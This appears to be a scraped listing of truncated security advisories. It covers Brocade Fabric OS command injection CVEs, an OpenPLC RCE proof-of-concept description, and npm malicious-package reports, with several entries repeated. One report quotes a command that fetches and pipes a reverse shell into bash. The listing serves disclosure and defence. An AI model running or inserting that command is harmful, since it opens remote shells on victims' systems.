cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - RCE autenticado Este script PoC está basado en el exploit proporcionado por Fellipe Oliveira. Características : Sube directamente código C a /hardware en lugar de cargar un archivo st Restaura el programa predeterminado antes de cargar la reverse shell Revers...

Malicious code in hardhat-deep (npm)

Source: amazon-inspector fde0a4a0ec197ee1aab9acf20ea157268b553fdb5669c545c27d92cbf89fe304 The npm package [email protected] is a trojanised shell. Its tarball copies the pino logger source tree README, SECURITY.md, index.d.ts, lib/proto.js, lib/transport.js, lib/worker.js, lib/levels.js,...

CVE-2026-87662

Brocade Fabric versions before 9.2.2d and 10.0.0 through 10.0.0a1 handling of specific download protocols utilizes unsanitized parameter strings. When processing upgrade requests, parameters are converted into system command strings and executed through a system shell interface. Because control...

CVE-2026-87677

An OS command injection vulnerability exists in the account management subsystem of Brocade Fabric OS versions before 9.2.2d and 10.0.0 through 10.0.0a1 . The flaw occurs when an administrator initiates an account deletion, triggering an internal maintenance routine to clean up associated cryptog...

CVE-2026-107448

Magic: The Gathering Arena Windows/Steam client; 2026.59.30.12801.127931.6 and certain later 2026.60.x builds passes a server-supplied URL from a home-screen carousel GoToExternalUrl action directly to the Windows shell via Application.OpenURL/ShellExecuteW without validating the URI scheme or...

CVE-2026-87662

Brocade Fabric versions before 9.2.2d and 10.0.0 through 10.0.0a1 handling of specific download protocols utilizes unsanitized parameter strings. When processing upgrade requests, parameters are converted into system command strings and executed through a system shell interface. Because control...

CVE-2026-87662

Brocade Fabric versions before 9.2.2d and 10.0.0 through 10.0.0a1 handling of specific download protocols utilizes unsanitized parameter strings. When processing upgrade requests, parameters are converted into system command strings and executed through a system shell interface. Because control...

CVE-2026-87662

Brocade Fabric versions before 9.2.2d and 10.0.0 through 10.0.0a1 are vulnerable to OS Command Injection (CWE-78) within the firmware download and upgrade component. The root cause is the use of unsanitized parameter strings during upgrade request processing; specifically, control characters and ...

CVE-2026-107448

Magic: The Gathering Arena Windows/Steam client; 2026.59.30.12801.127931.6 and certain later 2026.60.x builds passes a server-supplied URL from a home-screen carousel GoToExternalUrl action directly to the Windows shell via Application.OpenURL/ShellExecuteW without validating the URI scheme or...

CVE-2026-87666

An OS command injection vulnerability exists in the time and zone management subsystem of Brocade Fabric OS versions before 9.2.2d and 10.0.0 through 10.0.0a1. When updating system timezone settings via the REST API or configuration download routines, the system fails to sanitize input values...

MAL-2026-17659 Malicious code in hardhat-deep (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fde0a4a0ec197ee1aab9acf20ea157268b553fdb5669c545c27d92cbf89fe304 The npm package [email protected] is a trojanised shell. Its tarball copies the pino logger source tree README, SECURITY.md, index.d.ts, lib/proto.j...

Malicious code in hardhat-deep (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fde0a4a0ec197ee1aab9acf20ea157268b553fdb5669c545c27d92cbf89fe304 The npm package [email protected] is a trojanised shell. Its tarball copies the pino logger source tree README, SECURITY.md, index.d.ts, lib/proto.j...

CVE-2026-87675

An OS command injection vulnerability exists in the configuration management subsystem of Brocade Fabric OS versions before 9.2.2d and 10.0.0 through 10.0.0a1. When performing a configuration download operation, the management daemon will relay configuration parameters, user-supplied relay host...

CVE-2026-87673

An OS command injection vulnerability exists in the maintenance command-line diagnostic utilities of Brocade Fabric OS (versions before 9.2.2d and 10.0.0 through 10.0.0a1). The vulnerability is caused by a failure to sanitize user-supplied input options when the binary invokes underlying system c...

Malicious code in internallib_v788 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...

MAL-2026-17649 Malicious code in internallib_v788 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...

PT-2026-107811

Name of the Vulnerable Software and Affected Versions Brocade Fabric versions prior to 9.2.2d Brocade Fabric versions 10.0.0 through 10.0.0a1 Description Improper handling of specific download protocols allows for the use of unsanitized parameter strings. During the processing of upgrade requests...

CVE-2026-107704: Improper Neutralization of Special Elements used in an OS Command

The imageoptimizer Ruby gem 1.3.0 through 1.9.0 contains an OS command injection vulnerability in ImageOptimizeridentifyformat that allows attackers to execute commands by supplying a crafted image path when the identify option is enabled. Attackers controlling the path, such as an uploaded file...

PT-2026-107802

Name of the Vulnerable Software and Affected Versions Magic: The Gathering Arena Windows/Steam client versions 2026.59.30.12801.127931.6 through 2026.60.x Description The application passes a server-supplied URL from a home-screen carousel GoToExternalUrl action directly to the Windows shell usin...

PT-2026-107817

An OS command injection vulnerability exists in the PAM Pluggable Authentication Module session cleanup routines during SSH session termination on Brocade Fabric OS versions before 9.2.2d and 10.0.0 through 10.0.0a1. An authenticated user authenticating via an external directory or AAA service...